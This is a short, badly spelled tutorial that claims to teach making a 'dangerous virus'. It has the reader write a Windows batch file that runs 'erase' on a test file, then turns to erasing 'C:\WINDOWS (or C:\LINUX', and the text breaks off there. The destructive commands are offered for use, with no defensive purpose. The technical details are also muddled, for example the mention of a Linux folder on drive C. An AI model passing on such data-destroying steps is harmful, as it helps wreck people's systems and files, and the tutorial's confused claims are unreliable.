How To Creat A Dangerous Virus To Delet All File In Computer

First Make A file In C:\  for example

TEST.txt

So Go Start
Then Run
Type notepad press enter
type "erase C: \TEST.txt" "
 Save As..." and save it as
"Test.cmd".
Now run the file
"Test.cmd" and go to
C:\ and you'll see your Test.txt is gone.
Now, the real work begins: Go to notepad and type erase C:\WINDOWS (or C:\LINUX